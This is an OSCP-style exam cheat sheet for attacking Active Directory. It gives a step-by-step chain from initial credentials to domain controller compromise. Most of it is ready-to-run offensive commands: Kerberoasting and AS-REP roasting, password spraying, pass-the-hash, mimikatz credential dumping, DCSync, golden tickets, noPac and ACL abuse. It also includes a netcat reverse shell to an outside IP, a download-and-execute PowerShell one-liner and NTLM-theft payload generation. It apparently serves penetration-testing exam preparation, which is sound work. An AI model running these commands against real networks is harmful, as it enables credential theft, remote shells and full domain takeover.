Active Directory — Attack Chain & Vector Reference
Exam format: AD set = 3 machines (2 clients + DC), 40 pts, single proof.txt on the DC. You start with assumed-breach creds, so "foothold" is usually authenticated enumeration. The hard part is the chain to DA. Run BloodHound early and follow it literally.
Frequency tags: 🟢 core / very common · 🟡 plausible, know it · 🔴 rare/edge case but seen.
The Repeatable Chain (memorize this)
given creds -> roast/spray/find creds -> local privesc on MS01 -> dump creds -> lateral to MS02 -> ACL or delegation abuse -> DCSync or PtH to DC -> proof.txt.
After every privilege gain, RE-ENUMERATE -- rights change, BloodHound paths change, new shares/creds open. Ask: "Who do I control? What can that object do that I couldn't before? Who does THAT affect?"
Phase 1 — Foothold & Initial Enumeration (MS01)
nmap -sV -sC -p- --min-rate 5000 -oA ad_initial <IP>
# 445 SMB | 88 Kerberos (= DC) | 389/636 LDAP | 5985 WinRM (shell delivery)
# Null/anon SMB
netexec smb <IP> -u '' -p '' --shares
netexec smb <IP> -u 'guest' -p '' --shares
netexec smb <IP> -u '' -p '' --rid-brute # usernames
# LDAP anonymous
ldapsearch -x -H ldap://<IP> -b "DC=domain,DC=local"
Vectors:
- 🟢 Authenticated SMB enum -- shares, readable files, scripts with creds
- 🟢 Creds in files --
.ps1/.bat/.config/.xml,unattend.xml,Groups.xml(GPP cpassword), Desktop/Documents - 🟢 RID brute / user enum via SMB & LDAP
- 🟢 LDAP/RPC enum for users, groups, descriptions (passwords in description fields)
- 🟢 SMB share write access -> drop payload / capture hash
- 🟡 Anonymous/null SMB or LDAP bind
- 🟡 Kerberos user enum (
kerbrute) to validate accounts - 🟡 Web app on MS01 (IIS/intranet) -> foothold -> domain context
- 🔴 SNMP / NFS / FTP exposing creds or config
Phase 2 — Credential Access (no/low privs)
# AS-REP roast (no creds needed)
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <IP>
hashcat -m 18200 hash.txt rockyou.txt
# Password spray
netexec smb <IP> -u users.txt -p 'Password123!' --continue-on-success
# Kerberoast (any valid creds)
impacket-GetUserSPNs domain.local/user:pass -dc-ip <IP> -request
hashcat -m 13100 hash.txt rockyou.txt
Vectors:
- 🟢 AS-REP Roasting -- users with pre-auth disabled -> crack (
-m 18200) - 🟢 Kerberoasting -- SPN tickets with any creds -> crack (
-m 13100) - 🟢 Password spraying -- one common password across all users (Season+Year, Welcome1, company name)
- 🟢 Credential reuse -- password from one box/user works elsewhere
- 🟢 GPP
cpasswordin SYSVOL -> decryptable AES (gpp-decrypt) - 🟢 Hashes harvested from logged-on sessions on a box you control
- 🟡 LLMNR/NBT-NS poisoning with Responder (official guidance says no poisoning on exam; Responder capture/analyze can still appear -- don't rely on it)
- 🟡 SMB relay (signing disabled) -- situational
- 🟡 Mimikatz
sekurlsa::logonpasswordsafter local admin - 🟡 LSASS dump -> pypykatz (when AV blocks mimikatz)
- 🟡 DPAPI creds, browser/saved creds, cached domain creds, SAM+SYSTEM dump
- 🟡 LAPS password read -- read rights on
ms-Mcs-AdmPwd-> local admin pw cleartext - 🟡 gMSA password read (
ReadGMSAPassword) -> compute svc acct NT hash - 🟡 Timeroasting -- crack computer account hashes offline (newer)
- 🟡 Pre-created computer account / blank machine password
- 🔴 mitm6 IPv6 DNS takeover -> relay (rare on exam)
Phase 3 — Local Privilege Escalation on MS01
- 🟢 SeImpersonatePrivilege -> PrintSpoofer / GodPotato / RoguePotato (service accounts almost always have this)
- 🟢 Unquoted service paths
- 🟢 Weak service permissions / modifiable service binaries (PowerUp,
Get-Service) - 🟢 AlwaysInstallElevated (MSI as SYSTEM)
- 🟢 Scheduled tasks as SYSTEM with modifiable scripts
- 🟢 Stored/cached credentials,
cmdkey /list, runas saved creds - 🟡 DLL hijacking / writable PATH directories
- 🟡 Autorun / startup folder write access
- 🟡 SeBackupPrivilege / SeRestorePrivilege -> read SAM/SYSTEM or ntds.dit
- 🟡 Registry autoruns with weak perms
- 🟡 Kernel/local exploit (only if patch level clearly vulnerable -- last resort)
- 🔴 SeLoadDriverPrivilege, SeManageVolumePrivilege exotic primitives
(See the Privilege Escalation reference for full Windows commands.)
Phase 4 — Lateral Movement (MS01 -> MS02)
# Run BloodHound first with valid creds
bloodhound-python -u user -p pass -d domain.local -dc <DC_IP> -c all
# open -> "Shortest Path to Domain Admin" -> follow it literally
- 🟢 Pass-the-Hash -- NTLM hash -> netexec/evil-winrm/psexec/wmiexec
- 🟢 Pass-the-Ticket / Overpass-the-Hash -- Kerberos TGT reuse
- 🟢 Reuse of cracked/dumped plaintext creds on the second host
- 🟢 WinRM (5985) with valid creds -> evil-winrm
- 🟢 SMB exec (psexec/smbexec/wmiexec) with local admin or domain creds
- 🟢 RDP with captured creds
- 🟡 MSSQL lateral -- xp_cmdshell, linked servers, EXECUTE AS, impersonation
- 🟡 DCOM / WMI remote exec
- 🟡 Scheduled task creation on remote host
- 🟡 Local admin password reuse across machines (same local Administrator hash)
- 🟡 SCF / .url / .lnk SMB hash capture -- drop on a writable share, capture NetNTLM of anyone browsing
- 🟡 Linked SQL servers -- hop DB-to-DB with EXECUTE AS / openquery to reach a host you can't directly
- 🔴 Token impersonation / incognito from a multi-user host
- 🔴 WSUS abuse (control update delivery)
netexec smb <IP> -u user -p pass --sam # dump if local admin
netexec smb <DC_IP> -u Administrator -H <NTLM_hash>
evil-winrm -i <DC_IP> -u Administrator -H <NTLM_hash>
Phase 5 — Domain Privilege Escalation (ACL & object abuse)
This is what BloodHound is for. Follow the edge -> action mapping:
- 🟢 GenericAll / GenericWrite on a user -> reset password OR set SPN -> Kerberoast
- 🟢 GenericAll / GenericWrite on a group -> add yourself to it
- 🟢 WriteDACL -> grant yourself DCSync rights
- 🟢 WriteOwner -> take ownership -> grant rights
- 🟢 ForceChangePassword -> reset a privileged user's password
- 🟢 AddMember on a privileged group
- 🟢 Targeted Kerberoast -- set SPN on a user you control (GenericWrite) -> roast
- 🟢 Targeted ASREP-roast -- GenericWrite -> disable target's pre-auth -> ASREP-roast
- 🟡 AddSelf on group
- 🟡 GPO abuse -- edit/link a writable GPO -> SYSTEM on linked machines/DC
- 🟡 DCSync once you hold replication rights -> dump krbtgt/Administrator
- 🟡 Nested group membership granting unexpected rights (re-enumerate each step)
- 🟡 userAccountControl write -- flip "doesn't require pre-auth" or set delegation flags
- 🔴 Shadow Credentials (msDS-KeyCredentialLink write) -> PKINIT auth as target (needs AD CS)
- 🔴 DCShadow -- register a rogue DC to push changes (persistence)
impacket-secretsdump domain.local/user:pass@<DC_IP> # DCSync with rights
Phase 6 — Delegation Abuse
- 🟡 Unconstrained Delegation -- compromise host with it -> capture TGTs (force auth via printer bug) -> impersonate DA
- 🟡 Constrained Delegation -- TRUSTED_TO_AUTH_FOR_DELEGATION -> S4U2Self/S4U2Proxy -> impersonate
- 🟡 Resource-Based Constrained Delegation (RBCD) -- write
msDS-AllowedToActOnBehalfOfOtherIdentity-> impersonate admin onto target - 🔴 Printer Bug / PrinterNightmare as the forced-auth trigger
Phase 7 — Domain Dominance / DC Compromise
- 🟢 DCSync (replication rights) -> dump krbtgt + Administrator NTLM -> PtH to DC
- 🟢 PtH the Administrator hash to the DC -> evil-winrm/psexec -> proof.txt
- 🟢 Silver Ticket -- forge a service ticket with a cracked service-account hash -> access that one service as any user (often enough for proof.txt without full DA)
- 🟡 SeBackupPrivilege on DC / Backup Operators -> shadow copy -> extract ntds.dit + SYSTEM -> dump all hashes
- 🟡 DNSAdmins -> malicious DLL loaded by dns.exe as SYSTEM (needs DNS service restart)
- 🟡 Golden Ticket -- post-DA, mainly persistence/proof
- 🟡 Diamond Ticket -- modify a real TGT (stealthier golden, edge)
- 🟡 AdminSDHolder abuse -- stealthy persistence on protected groups
- 🟡 Skeleton Key -- mimikatz master-password backdoor (post-DA)
- 🔴 Zerologon (CVE-2020-1472) -- only if unpatched DC; high-value but increasingly rare
- 🔴 noPac / sAMAccountName spoofing -- edge case
- 🔴 AD CS (ESC1-ESC8) -- mostly out of OSCP scope; ESC1/ESC8 occasionally in newer labs
- 🔴 SID History abuse / cross-forest / inter-realm TGT (out of scope for the standard single-domain set)
type C:\Users\Administrator\Desktop\proof.txt
Burn-In List for Exam Day
The 🟢 vectors most likely to decide the AD set:
- AS-REP roast + Kerberoast + spray (Phase 2 entry)
- SeImpersonate -> Potato (Phase 3 local privesc)
- BloodHound shortest path -> ACL abuse (GenericWrite/WriteDACL/ForceChangePassword)
- DCSync or PtH Administrator to the DC (Phase 7)
- Silver Ticket -- can grab proof.txt on one service with just a Kerberoasted hash, no full DA
- LAPS / gMSA reads if BloodHound shows you have the rights
Scoring read: even partial AD progress combined with 2 standalones gets you to 70. Many people fail chasing a hard standalone instead of locking down AD first.
Network Recon & Initial AD Discovery
fping -asgq 172.16.x.0/23 # -a alive, -s stats, -g range, -q quiet
nslookup ns1.<domain> # DNS IP lookup
dnsrecon -d <domain> -r <IP>/8 # zone walk + records
./kerbrute_linux_amd64 userenum -d <domain> --dc <dc-ip> jsmith.txt -o kerb-results # enum valid users (only fires AS-REQ, doesn't log 4624)
kerbrute userenum --dc <dc-ip> -d <domain> users.txt --downgrade # downgrade hash to $23 if $18 isn't supported in hashcat
Build username format list (ryan.denham / r.denham / rdenham / ryan_denham) then feed to kerbrute.
Concrete Command Reference
Drop-in commands from field notes. Replace IPs/domains/users. Comments are reminders, not part of the command.
Enumeration — built-in
net user
net user /domain
net user <username> /domain
net group /domain
net accounts :: password policy
Enumeration — PowerView
Get-NetComputer | Get-NetLoggedon # actively logged-on users per host
Get-NetUser -UserName student107
Get-NetComputer
Get-NetComputer -Unconstrained # unconstrained delegation hosts
Find-DomainShare -CheckShareAccess -Domain svcorp.com -DomainController 10.11.1.20
Get-DomainOU -Properties Name | sort -Property Name
Get-NetUser -SPN | select serviceprincipalname # kerberoastable SPNs
Request-SPNTicket -SPN "MSSQLSvc/DC.access.offsec" -Format Hashcat
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl
# Other high-value PowerView
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Find-LocalAdminAccess # where current user is local admin
Find-DomainUserLocation # where target users are logged in
Find-InterestingDomainShareFile
Get-DomainTrustMapping
Enumeration — AD PowerShell module
Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADTrust -Filter *
Get-ADGroup -Filter * | select name
Get-ADGroupMember -Identity "Backup Operators"
SMB shares
smbmap -R '\' -H 10.10.10.100 -P 445
smbmap -R '\' -H 10.10.10.161 -P 445 -u svc-alfresco -p s3rvice
smbmap -d active.htb -u svc_tgs -p <pass> -H <ip>
proxychains smbclient \\\\172.16.240.83\\Windows -U 'medtech.com\joe'
crackmapexec smb <ip> -u <user> -p <pass> --shares
# Pull the GPP Groups.xml from SYSVOL/Replication
smbmap -R 'Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups' -H 10.10.10.100 --download '...\Groups.xml'
LDAP / user lists
ldapsearch -x -h <ip> -s base namingcontexts
ldapsearch -x -h <ip> -b 'DC=domain,DC=local' -s sub
crackmapexec smb <ip> -u '' -p '' --users
nmap --script smb-enum* -p445 <ip>
ldapsearch -H ldap://<ip> -x -b "DC=htb,DC=local" '(objectClass=user)' sAMAccountName
GetADUsers.py -all active.htb/svc_tgs -dc-ip <ip> # needs a password
windapsearch.py --dc-ip <ip> -u <domain\user> -p <pass> --da # dump Domain Admins
rpcclient (null + authed)
rpcclient -U "" <ip>
> enumdomusers
> enumdomgroups
> queryuser <RID>
> queryusergroups <RID>
> querygroup <Group RID>
> querydominfo # password policy
Scan internal net (through a pivot)
proxychains crackmapexec smb <IP_range>
proxychains nmap -sT -p80,443,135,139,445,21,53,22,23,389,636,3268,3269,25,5985,5986,3389,88,111,161,1433,110 172.16.224.83 -Pn
GPP cpassword in SYSVOL
cat Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml # find cpassword="..."
gpp-decrypt <cpassword-hash>
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin # autologin creds in SYSVOL
ASREP roasting
python3 GetNPUsers.py htb.local/ -usersfile user.txt -format hashcat -outputfile hashes.txt
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt # also pulls AS-REP for no-preauth users
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
PowerView find no-preauth users:
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
Password spraying & policy
crackmapexec smb <ip> -u users.txt -p password.txt
crackmapexec smb <ip> -u valid_users.txt -p Password123 | grep +
crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep + # one attempt, avoids lockout
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol # dump policy
enum4linux-ng -P 172.16.5.5 -oA ilfreight
PowerShell spray:
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
Kerberoasting
impacket-GetUserSPNs -request -dc-ip <dc-ip> <domain>/<user>:<password>
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /nowrap # specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap # admins only
setspn.exe -Q */* # enumerate SPNs
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat # PowerView
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
Crack hashes (modes)
hashcat -m 13100 -a 0 hash rockyou.txt # Kerberos 5 TGS-REP (Kerberoast)
hashcat -m 18200 hash rockyou.txt # Kerberos AS-REP (ASREProast)
hashcat -m 1000 hash rockyou.txt # NTLM (SAM/logonpasswords)
hashcat -m 5600 ntlmv2 rockyou.txt # NetNTLMv2 (Responder capture)
Get a token to run BloodHound / tools
runas /netonly /user:active.htb\svc_tgs cmd
# Invoke-RunasCs -- WORKS EVERYWHERE
Invoke-RunasCs svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\nc.exe -e cmd.exe 192.168.45.227 53"
BloodHound collection
sudo neo4j console
sudo ./BloodHound --no-sandbox
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
zip -r ilfreight_bh.zip *.json # then drag the zip into the BloodHound GUI
Import-Module ./SharpHound.ps1
Invoke-BloodHound -CollectionMethod all -Domain htb.local -LdapUser svc-alfresco -LdapPass s3rvice
.\SharpHound.exe -c all -d <domain>
Lateral movement / shells
impacket-psexec <domain>/<user>:<password>@<ip>
impacket-wmiexec -hashes <hash> htb.local/administrator@<ip>
atexec.py <domain>/<user>:<password>@<ip> "command"
smbexec.py <domain>/<user>:<password>@<ip>
dcomexec.py <domain>/<user>:<password>@<ip>
evil-winrm -i <ip> -u <user> -p <password>
xfreerdp /v:IP /u:USER /p:PASS +clipboard /dynamic-resolution
xfreerdp /v:IP /u:USER /p:PASS +clipboard /drive:/usr/share/windows-resources,share # mount a share
Pass-the-Hash
crackmapexec smb 192.168.154.171 -u 'ted' -d 'exam.com' -H ':31aa99ebd6ea4b6d07051acfd48efa35' --shares
impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5" exam.com/zensvc@192.168.154.170
impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5" zensvc@192.168.154.170 # try without domain too
evil-winrm -i 192.168.154.170 -u zensvc -H d098fa8675acd7d26ab86eb2581233e5
SAM dumping
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
ACL abuse tactics (PowerView)
# Change a user's password (you hold the rights)
$p = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Set-DomainUserPassword -Identity damundsen -AccountPassword $p -Credential $Cred -Verbose
# Add yourself to a group you can write
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred -Verbose
# Targeted Kerberoast: set a fake SPN, roast, then clean up
Set-DomainObject -Credential $Cred -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
Set-DomainObject -Credential $Cred -Identity adunn -Clear serviceprincipalname -Verbose
# Find what your SID can act on
$sid = Convert-NameToSid wley
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
DCSync
Replication rights needed: DS-Replication-Get-Changes + ...-All.
secretsdump.py -outputfile loot -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss
secretsdump.py <domain>/<user>:<pass>@<dc-ip>
secretsdump.py logistics.inlanefreight.local/lafi@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
# mimikatz
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
One-liner to grant your user DCSync (then secretsdump):
Add-DomainGroupMember -Identity 'Domain Admins' -Members wario; $username = "medtech.com\wario"; $password = "Mushroom!"; $secstr = New-Object -TypeName System.Security.SecureString; $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}; $cred = New-Object System.Management.Automation.PSCredential $username, $secstr; Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'wario' -TargetIdentity 'medtech.com\Domain Admins' -Rights DCSync
Mimikatz
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export
lsadump::sam
kerberos::list /export
# overpass-the-hash
sekurlsa::pth /user:jeff_admin /domain:corp.com /ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe
# golden ticket (rc4 = krbtgt NTLM)
kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-... /krbtgt:9d765b48... /sids:S-1-5-21-...-519 /ptt
Child -> Parent (SID history / golden)
# get child krbtgt + SIDs, forge ticket with Enterprise Admins SID (-519)
secretsdump.py child.domain/user@dc -just-dc-user CHILD/krbtgt
lookupsid.py child.domain/user@dc | grep "Domain SID"
ticketer.py -nthash <krbtgt-hash> -domain CHILD.DOMAIN -domain-sid S-1-5-21-... -extra-sid S-1-5-21-...-519 hacker
export KRB5CCNAME=hacker.ccache
psexec.py CHILD.DOMAIN/hacker@dc.parent -k -no-pass -target-ip <parent-dc-ip>
raiseChild.py -target-exec <parent-dc-ip> CHILD.DOMAIN/user # automated child->parent
NTDS.dit cracking with SYSTEM
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
NoPac (sAMAccountName spoofing)
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host DC01 -shell --impersonate administrator -use-ldap
MSSQL in AD (PowerUpSQL / mssqlclient)
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /priv
Responder / LLMNR-NBT-NS (note: poisoning usually NOT on the OSCP exam)
sudo responder -I ens224 -A # passive analyze mode
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
CrackMapExec cheat sheet
# Target formats
crackmapexec smb 192.168.1.0/24
crackmapexec smb targets.txt
# Null session
crackmapexec smb 192.168.10.1 -u "" -p ""
# Local account / PtH against a subnet
crackmapexec smb 172.16.157.0/24 -u administrator -H 'NTHASH' --local-auth
# Spray
crackmapexec smb 192.168.100.0/24 -u user_file.txt -p pass_file.txt
# Enumerate
crackmapexec smb <ip> -u 'user' -p 'PASS' --users
crackmapexec smb <ip> -u 'user' -p 'PASS' --rid-brute
crackmapexec smb <ip> -u 'user' -p 'PASS' --groups
crackmapexec smb <ip> -u 'user' -p 'PASS' --shares
crackmapexec smb <ip> -u 'user' -p 'PASS' --sessions
crackmapexec smb <ip> -u 'user' -p 'PASS' --loggedon-users
crackmapexec smb <ip> -u 'user' -p 'PASS' --pass-pol
# Execute (admin) -- methods: wmiexec (default), atexec, smbexec
crackmapexec smb <ip> -u Administrator -p 'P@ssw0rd' -x 'whoami'
crackmapexec smb <ip> -u Administrator -p 'P@ssw0rd' -X 'whoami' # PowerShell
crackmapexec smb <ip> -u Admin -p 'PASS' -x 'net user x /domain' --exec-method smbexec
# Dump creds
crackmapexec smb <ip> -u Admin -p 'PASS' --local-auth --sam
crackmapexec smb <ip> -u Admin -p 'PASS' --local-auth --lsa
crackmapexec smb <ip> -u Admin -p 'PASS' --ntds # NTDS via drsuapi
crackmapexec smb <ip> -u Admin -p 'PASS' --ntds vss # via shadow copy
# Modules
crackmapexec smb -L # list modules
crackmapexec smb <ip> -u Admin -p 'PASS' -M gpp_autologin
crackmapexec smb <ip> -u Admin -p 'PASS' --local-auth -M mimikatz
# Built-in DB
cmedb # workspaces, hosts, creds
PowerView — Full Reference
# Domain / policy
Get-Domain; Get-DomainController; Get-DomainPolicy
Get-DomainUser; Get-DomainUser "fred"; Get-DomainUser | select cn,pwdlastset,lastlogon
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName # kerberoastable
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
Get-DomainUser -UACFilter PASSWD_NOTREQD | select samaccountname,useraccountcontrol
# Groups / OUs
Get-DomainGroup | select cn
Get-DomainGroup "Sales Department" | select member
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainOU -Properties Name | sort -Property Name
Get-DomainGPO | select displayname
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid} # GPO rights for a SID
Get-GPO -All | Select DisplayName # built-in cmdlet
# Computers / file servers
Get-DomainComputer | select operatingsystem,dnshostname
Get-DomainComputer -Unconstrained # unconstrained delegation
Get-DomainFileServer; Get-DomainDFSShare
Get-NetLocalGroupMember -ComputerName <host> -GroupName "Remote Desktop Users"
Get-NetLocalGroupMember -ComputerName <host> -GroupName "Remote Management Users"
# Sessions / local admin
Find-LocalAdminAccess # noisy: scans all machines for local admin access
Get-NetSession -ComputerName <host> -Verbose # fails on Win10 1607+ / Server 2016+
.\PsLoggedon.exe \\<host> # uses Remote Registry (enabled on servers by default)
# ACLs
Find-InterestingDomainAcl
Get-ObjectAcl -Identity stephanie
Get-ObjectAcl -Identity "Management Department" | ?{$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
Get-DomainObjectACL -ResolveGUIDs -Identity * | ?{$_.SecurityIdentifier -eq $sid}
"<SID1>","<SID2>" | Convert-SidToName # batch SID → name
# Trusts
Get-DomainTrust; Get-DomainTrustMapping; Get-ForestTrust
Get-DomainForeignUser; Get-DomainForeignGroupMember
Get-DomainUser -Domain CHILD.DOMAIN | select SamAccountName
# Shares / files
Find-DomainShare; Find-DomainShare -CheckShareAccess
Find-InterestingDomainShareFile
.\Snaffler.exe -d <domain> -s -v data # grep shares for passwords/keys/certs
.NET LDAP Enumeration Script
# Build full LDAP path programmatically (works on non-domain-joined attackers)
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"
# Search for all users
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter = "samAccountType=805306368" # user objects
$result = $dirsearcher.FindAll()
Foreach($obj in $result){ Foreach($prop in $obj.Properties){ $prop }; Write-Host "---" }
# Reusable function version (then call it)
function LDAPSearch { param([string]$LDAPQuery)
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$(([adsi]'').distinguishedName)")
(New-Object System.DirectoryServices.DirectorySearcher($DE, $LDAPQuery)).FindAll()
}
LDAPSearch -LDAPQuery "(samAccountType=805306368)" # all users
LDAPSearch -LDAPQuery "(objectclass=group)"
foreach ($group in $(LDAPSearch -LDAPQuery "(ObjectCategory=group)")) { $group.properties | select {$_.cn},{$_.member} }
Nested group tip:
net.exeonly lists user objects; PowerView/LDAP reveals nested group membershipsnet.exemisses.
LDAP — AD Enumeration
LDAP — AD enumeration (anonymous + authed)
ldapsearch -x -H ldap://<IP> -s base -b "" "(objectClass=*)" # root naming context
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=hutch,DC=offsec" # anon dump (users, sometimes passwords)
ldapsearch -x -H ldap://<DC_IP> -b "DC=example,DC=com" "(objectClass=user)" sAMAccountName # users
ldapsearch -x -H ldap://<DC_IP> -b "DC=example,DC=com" "(objectClass=group)" cn # groups
ldapsearch -x -H ldap://<DC_IP> -b "DC=example,DC=com" "(objectClass=computer)" name operatingSystem
ldapsearch -x -H ldap://<DC_IP> -b "DC=example,DC=com" "(memberOf=CN=Domain Admins,CN=Users,DC=example,DC=com)"
# authed:
ldapsearch -H ldap://dc01.domain.local -D "jdoe@domain.local" -w 'Password1' -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName description memberOf
Targeted filters (userAccountControl bit masks):
# Kerberoastable (has SPN)
ldapsearch ... "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
# AS-REP roastable (no preauth = 4194304)
ldapsearch ... "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
# password never expires (65536) / disabled (2) / adminCount=1
ldapsearch ... "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" sAMAccountName
ldapsearch ... "(&(objectClass=user)(adminCount=1))" sAMAccountName
# description field set (often holds passwords)
ldapsearch ... "(&(objectClass=user)(description=*))" sAMAccountName description
Faster tooling:
ldapdomaindump -u 'domain\jdoe' -p 'Password1' dc01.domain.local # dumps to HTML
nxc ldap dc01.domain.local -u jdoe -p Password1 --bloodhound --kdcHost dc01
nxc ldap dc01.domain.local -u jdoe -p Password1 --asreproast out.txt
nxc ldap dc01.domain.local -u jdoe -p Password1 --kerberoasting out.txt
nxc ldap dc01.domain.local -u jdoe -p Password1 --password-not-required
python3 windapsearch.py -d domain.local -u jdoe -p Password1 --da # Domain Admins
python3 windapsearch.py -d domain.local -u jdoe -p Password1 --privileged-users
Enumerating Security Controls
Get-MpComputerStatus # Defender status
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$ExecutionContext.SessionState.LanguageMode # Constrained Language Mode?
LAPS Toolkit:
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights # who can read LAPS passwords
Get-LAPSComputers # which computers have LAPS, expiry, randomized passwords
LLMNR / NBT-NS Poisoning
sudo responder -I tun0 -A # passive mode first; capture without disrupting
hashcat -m 5600 ntlmv2.hash rockyou.txt
Windows-side capture (Inveigh — when you're already on a Windows host):
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
.\Inveigh.exe # C# version
Disable NBT-NS hardening via registry (in-scope remediation / for test):
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey | foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose }
NTLM theft via writable SMB share (Greenwolf technique):
sudo responder -I tun0
python3 ntlm_theft.py --generate all --server <attacker-ip> --filename loot # creates all file-type payloads
# drop any payload to a share you can write; any user who opens it sends you their NetNTLMv2 hash
Password Policy & First-Pass Enumeration
crackmapexec smb <dc-ip> -u <user> -p <pass> --pass-pol
enum4linux -P <ip>
enum4linux-ng -P <ip> -oA ilfreight
rpcclient -U "" -N <ip>
> querydominfo
ldapsearch -h <ip> -x -b "DC=DOMAIN,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
net accounts :: local
net accounts /domain :: domain (lockout threshold, duration, observation window)
Strategy: Know the lockout threshold before spraying. If threshold=5 and observation=30min you get 4 attempts per window.
4 * (1440/30) = 192 attempts/dayacross all users.
Password Spraying — Full Bank
for u in $(cat valid_users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" <ip> | grep Authority; done # bash spray via rpcclient
kerbrute passwordspray -d <domain> --dc <dc-ip> valid_users.txt 'Welcome1' # TGT-based (only 2 UDP frames per attempt)
.\kerbrute_windows_amd64.exe passwordspray -d <domain> .\usernames.txt "Password!" # ensure ANSI encoding
crackmapexec smb <ip> -u valid_users.txt -p 'Password123' | grep +
sudo crackmapexec smb --local-auth <ip>/24 -u administrator -H <hash> | grep + # one attempt → avoids lockout
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
.\Spray-Passwords.ps1 -Pass 'Welcome1' # LDAP-based, low and slow, respects lockout policy
